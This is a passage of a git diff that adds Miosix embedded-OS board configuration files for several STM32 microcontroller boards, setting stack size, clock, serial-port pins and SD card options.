* + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F401VC only has 192KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 84000000 +constexpr unsigned int cpuFrequency=84000000; + +/// Serial port +/// Serial ports 1, 2, 6 are available (ports 3, 4, 5 do not exist!) +const unsigned int defaultSerial=2; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +//Disable DMA for serial 2 because it conflicts with I2S driver in examples +const bool defaultSerialDma=false; +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=30; //Board powered @ 3.0V +#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f407vg_bitsboard/Makefile.inc b/miosix/config/board/stm32f407vg_bitsboard/Makefile.inc new file mode 100644 index 000000000..604cf3a98 --- /dev/null +++ b/miosix/config/board/stm32f407vg_bitsboard/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f407vg_bitsboard +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f407vg_bitsboard/board_settings.h b/miosix/config/board/stm32f407vg_bitsboard/board_settings.h new file mode 100644 index 000000000..8ec7e8d95 --- /dev/null +++ b/miosix/config/board/stm32f407vg_bitsboard/board_settings.h @@ -0,0 +1,89 @@ +/*************************************************************************** + * Copyright (C) 2012-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 168000000 +constexpr unsigned int cpuFrequency=168000000; + +/// Serial port +/// Serial ports 1 to 6 are available +const unsigned int defaultSerial=3; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=30; //Board powered @ 3.0V +#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f407vg_stm32f4discovery/Makefile.inc b/miosix/config/board/stm32f407vg_stm32f4discovery/Makefile.inc new file mode 100644 index 000000000..cfcc42b56 --- /dev/null +++ b/miosix/config/board/stm32f407vg_stm32f4discovery/Makefile.inc @@ -0,0 +1,8 @@ +## +## Options for board stm32f407vg_stm32f4discovery +## Included by the board's makefile +## + +## Select linker script +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32f407vg_stm32f4discovery/board_settings.h b/miosix/config/board/stm32f407vg_stm32f4discovery/board_settings.h new file mode 100644 index 000000000..22b3802c6 --- /dev/null +++ b/miosix/config/board/stm32f407vg_stm32f4discovery/board_settings.h @@ -0,0 +1,120 @@ +/*************************************************************************** + * Copyright (C) 2012-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 168000000, 100000000, 84000000 +// Note: at 100Mhz SDIO and RNG run at the wrong speed and USB will not work +// because the PLL will run at 40MHz instead of 48MHz due to hardware +// limitations +constexpr unsigned int cpuFrequency=168000000; + +/// Serial port +/// Serial ports 1 to 6 are available +const unsigned int defaultSerial=3; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +// Note: on this board, pins PA9-12 are in use by the user USB port, and PB6 is +// connected to the Cirrus audio chip +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; + +// Aux serial port +// Uncomment AUX_SERIAL to enable. The device will appear as /dev/auxtty. +//#define AUX_SERIAL "auxtty" +const unsigned int auxSerial=2; +const unsigned int auxSerialSpeed=9600; +const bool auxSerialFlowctrl=false; +//Disable DMA for serial 2 because it conflicts with I2S driver in examples +const bool auxSerialDma=false; +// Default aux serial 1 pins (uncomment when using serial 1) +// Note: on this board, pins PA9-12 are in use by the user USB port, and PB6 is +// connected to the Cirrus audio chip +//using auxSerialTxPin = Gpio; +//using auxSerialRxPin = Gpio; +//using auxSerialRtsPin = Gpio; +//using auxSerialCtsPin = Gpio; +// Default aux serial 2 pins (uncomment when using serial 2) +using auxSerialTxPin = Gpio; +using auxSerialRxPin = Gpio; +using auxSerialRtsPin = Gpio; +using auxSerialCtsPin = Gpio; +// Default aux serial 3 pins (uncomment when using serial 3) +//using auxSerialTxPin = Gpio; +//using auxSerialRxPin = Gpio; +//using auxSerialRtsPin = Gpio; +//using auxSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=30; //Board powered @ 3.0V +#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f407vg_thermal_test_chip/Makefile.inc b/miosix/config/board/stm32f407vg_thermal_test_chip/Makefile.inc new file mode 100644 index 000000000..4ddabd1df --- /dev/null +++ b/miosix/config/board/stm32f407vg_thermal_test_chip/Makefile.inc @@ -0,0 +1,6 @@ +## +## Options for board stm32f407vg_thermal_test_chip +## Included by the board's makefile +## + +# No options diff --git a/miosix/config/board/stm32f407vg_thermal_test_chip/board_settings.h b/miosix/config/board/stm32f407vg_thermal_test_chip/board_settings.h new file mode 100644 index 000000000..251d2239a --- /dev/null +++ b/miosix/config/board/stm32f407vg_thermal_test_chip/board_settings.h @@ -0,0 +1,111 @@ +/*************************************************************************** + * Copyright (C) 2012-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) +/// Application requires more than the usual 4KB stack, increasing to 5KB. +const unsigned int MAIN_STACK_SIZE=5*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 168000000 +constexpr unsigned int cpuFrequency=168000000; + +/// Serial port +/// Serial ports 1 to 6 are available +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +// Uncomment AUX_SERIAL to enable. The device will appear as /dev/auxtty. +#define AUX_SERIAL "auxtty" +const unsigned int auxSerial=3; +const unsigned int auxSerialSpeed=230400; +const bool auxSerialFlowctrl=false; +const bool auxSerialDma=true; +// Default aux serial 1 pins (uncomment when using serial 1) +//using auxSerialTxPin = Gpio; +//using auxSerialRxPin = Gpio; +//using auxSerialRtsPin = Gpio; +//using auxSerialCtsPin = Gpio; +// Default aux serial 2 pins (uncomment when using serial 2) +//using auxSerialTxPin = Gpio; +//using auxSerialRxPin = Gpio; +//using auxSerialRtsPin = Gpio; +//using auxSerialCtsPin = Gpio; +// Default aux serial 3 pins (uncomment when using serial 3) +using auxSerialTxPin = Gpio; +using auxSerialRxPin = Gpio; +using auxSerialRtsPin = Gpio; +using auxSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +// #define SD_ONE_BIT_DATABUS //Commented to use 4 bit databus + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f411ce_blackpill/Makefile.inc b/miosix/config/board/stm32f411ce_blackpill/Makefile.inc new file mode 100644 index 000000000..015d4bb72 --- /dev/null +++ b/miosix/config/board/stm32f411ce_blackpill/Makefile.inc @@ -0,0 +1,8 @@ +## +## Options for board stm32f411ce_blackpill +## Included by the board's makefile +## + +## Select linker script +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32f411ce_blackpill/board_settings.h b/miosix/config/board/stm32f411ce_blackpill/board_settings.h new file mode 100644 index 000000000..61e092054 --- /dev/null +++ b/miosix/config/board/stm32f411ce_blackpill/board_settings.h @@ -0,0 +1,84 @@ +/*************************************************************************** + * Copyright (C) 2015-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=25000000; +// Supported clock frequencies: 100000000 +constexpr unsigned int cpuFrequency=100000000; + +/// Serial port +/// Serial ports 1, 2, 6 are available (ports 3, 4, 5 do not exist!) +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f411re_nucleo/Makefile.inc b/miosix/config/board/stm32f411re_nucleo/Makefile.inc new file mode 100644 index 000000000..757ca36e7 --- /dev/null +++ b/miosix/config/board/stm32f411re_nucleo/Makefile.inc @@ -0,0 +1,8 @@ +## +## Options for board stm32f411re_nucleo +## Included by the board's makefile +## + +## Select linker script +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32f411re_nucleo/board_settings.h b/miosix/config/board/stm32f411re_nucleo/board_settings.h new file mode 100644 index 000000000..266b32187 --- /dev/null +++ b/miosix/config/board/stm32f411re_nucleo/board_settings.h @@ -0,0 +1,87 @@ +/*************************************************************************** + * Copyright (C) 2015-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 100000000, 84000000 +// Note: at 100Mhz SDIO and RNG run at the wrong speed and USB will not work +// because the PLL will run at 40MHz instead of 48MHz due to hardware +// limitations +constexpr unsigned int cpuFrequency=100000000; + +/// Serial port +/// Serial ports 1, 2, 6 are available (ports 3, 4, 5 do not exist!) +const unsigned int defaultSerial=2; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +#define SD_ONE_BIT_DATABUS //For now we'll use 1 bit bus + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f415vg_st25dvdiscovery/Makefile.inc b/miosix/config/board/stm32f415vg_st25dvdiscovery/Makefile.inc new file mode 100644 index 000000000..20140d3c8 --- /dev/null +++ b/miosix/config/board/stm32f415vg_st25dvdiscovery/Makefile.inc @@ -0,0 +1,8 @@ +## +## Options for board stm32f415vg_st25dvdiscovery +## Included by the board's makefile +## + +## Select linker script +LINKER_SCRIPT := unikernel.ld +#LINKER_SCRIPT := processes.ld diff --git a/miosix/config/board/stm32f415vg_st25dvdiscovery/board_settings.h b/miosix/config/board/stm32f415vg_st25dvdiscovery/board_settings.h new file mode 100644 index 000000000..681a04a2a --- /dev/null +++ b/miosix/config/board/stm32f415vg_st25dvdiscovery/board_settings.h @@ -0,0 +1,89 @@ +/*************************************************************************** + * Copyright (C) 2012-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F415VG only has 192KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 168000000 +constexpr unsigned int cpuFrequency=168000000; + +/// Serial port +//Serial ports 1 to 6 are available, serial 2 is brought over to unsoldered +//headers on the PCB, serial 6 is connected to the STLink USB ACM adapter, +//and serial 3 is connected to the WiFi module (not fitted) +const unsigned int defaultSerial=6; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 6 pins (uncomment when using serial 6) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; //unused +using defaultSerialCtsPin = Gpio; //unused + +//SD card driver +//TODO: this board does not have an SD card connector and does not have any +//GPIO breakout pins for an external connector, so it makes no sense to support +//filesystem functionality for it +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f429zi_oledboard2/Makefile.inc b/miosix/config/board/stm32f429zi_oledboard2/Makefile.inc new file mode 100644 index 000000000..994c24a76 --- /dev/null +++ b/miosix/config/board/stm32f429zi_oledboard2/Makefile.inc @@ -0,0 +1,20 @@ +## +## Options for board stm32f429zi_oledboard2 +## Included by the board's makefile +## + +## Select linker script +## 1) Code in FLASH, stack + heap in internal RAM +#LINKER_SCRIPT := unikernel.ld + +## 2) Code in FLASH, stack + heap in external RAM +#LINKER_SCRIPT := unikernel-xram-8m.ld + +## 3) Same as 2), but leaves the upper 2MB of RAM for the LCD framebuffers +LINKER_SCRIPT := unikernel-xram-6m.ld + +## TODO Add processes options + +## Do not uncomment this even if you don't use a linker script that requires +## it, as it is used for the LCD framebuffer. +XRAM := -D__ENABLE_XRAM diff --git a/miosix/config/board/stm32f429zi_oledboard2/board_settings.h b/miosix/config/board/stm32f429zi_oledboard2/board_settings.h new file mode 100644 index 000000000..398c28de4 --- /dev/null +++ b/miosix/config/board/stm32f429zi_oledboard2/board_settings.h @@ -0,0 +1,92 @@ +/*************************************************************************** + * Copyright (C) 2015-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F407VG only has 192KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=8000000; +// Supported clock frequencies: 180000000, 168000000 +// Note: at 180Mhz SDIO and RNG run at the wrong speed and USB will not work +// because the PLL will run at 45MHz instead of 48MHz due to hardware +// limitations +constexpr unsigned int cpuFrequency=168000000; + +/// Serial port +/// Serial ports 1 to 8 are available +const unsigned int defaultSerial=1; +const unsigned int defaultSerialSpeed=115200; +const bool defaultSerialFlowctrl=false; +const bool defaultSerialDma=true; +// Default serial 1 pins (uncomment when using serial 1) +using defaultSerialTxPin = Gpio; +using defaultSerialRxPin = Gpio; +using defaultSerialRtsPin = Gpio; +using defaultSerialCtsPin = Gpio; +// Default serial 2 pins (uncomment when using serial 2) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; +// Default serial 3 pins (uncomment when using serial 3) +//using defaultSerialTxPin = Gpio; +//using defaultSerialRxPin = Gpio; +//using defaultSerialRtsPin = Gpio; +//using defaultSerialCtsPin = Gpio; + +//SD card driver +static const unsigned char sdVoltage=33; //Board powered @ 3.3V +#define SD_ONE_BIT_DATABUS //Can't use 4 bit databus due to pin conflicts + +/** + * \} + */ + +} //namespace miosix diff --git a/miosix/config/board/stm32f429zi_skyward_anakin/Makefile.inc b/miosix/config/board/stm32f429zi_skyward_anakin/Makefile.inc new file mode 100644 index 000000000..67a496490 --- /dev/null +++ b/miosix/config/board/stm32f429zi_skyward_anakin/Makefile.inc @@ -0,0 +1,12 @@ +## +## Options for board stm32f429zi_skyward_anakin +## Included by the board's makefile +## + +## Select linker script +## 1) Code in FLASH, stack + heap in internal RAM +#LINKER_SCRIPT := unikernel-sgm.ld + +## 2) Code in FLASH, stack + heap in external RAM +LINKER_SCRIPT := unikernel-xram-sgm.ld +XRAM := -D__ENABLE_XRAM diff --git a/miosix/config/board/stm32f429zi_skyward_anakin/board_settings.h b/miosix/config/board/stm32f429zi_skyward_anakin/board_settings.h new file mode 100644 index 000000000..e0b130631 --- /dev/null +++ b/miosix/config/board/stm32f429zi_skyward_anakin/board_settings.h @@ -0,0 +1,98 @@ +/*************************************************************************** + * Copyright (C) 2016-2021 by Terraneo Federico * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +/** + * \internal + * Versioning for board_settings.h for out of git tree projects + */ +#define BOARD_SETTINGS_VERSION 300 + +namespace miosix { + +/** + * \addtogroup Settings + * \{ + */ + +/// Size of stack for main(). +/// The C standard library is stack-heavy (iprintf requires 1KB) but the +/// STM32F429ZI only has 256KB of RAM so there is room for a big 4K stack. +const unsigned int MAIN_STACK_SIZE=4*1024; + +/// Clock options +enum class OscillatorType { HSI, HSE }; +// Supported oscillator types: HSE +constexpr auto oscillatorType=OscillatorType::HSE; +constexpr unsigned int hseFrequency=25000000; +// Supported clock frequencies: 180000000, 168000000 +// Note: at 180Mhz SDIO and RNG run at the wrong speed and USB will not work +// because the PLL will run at 45MHz instead of 48MHz due to hardware +// limitations +constexpr unsigned int 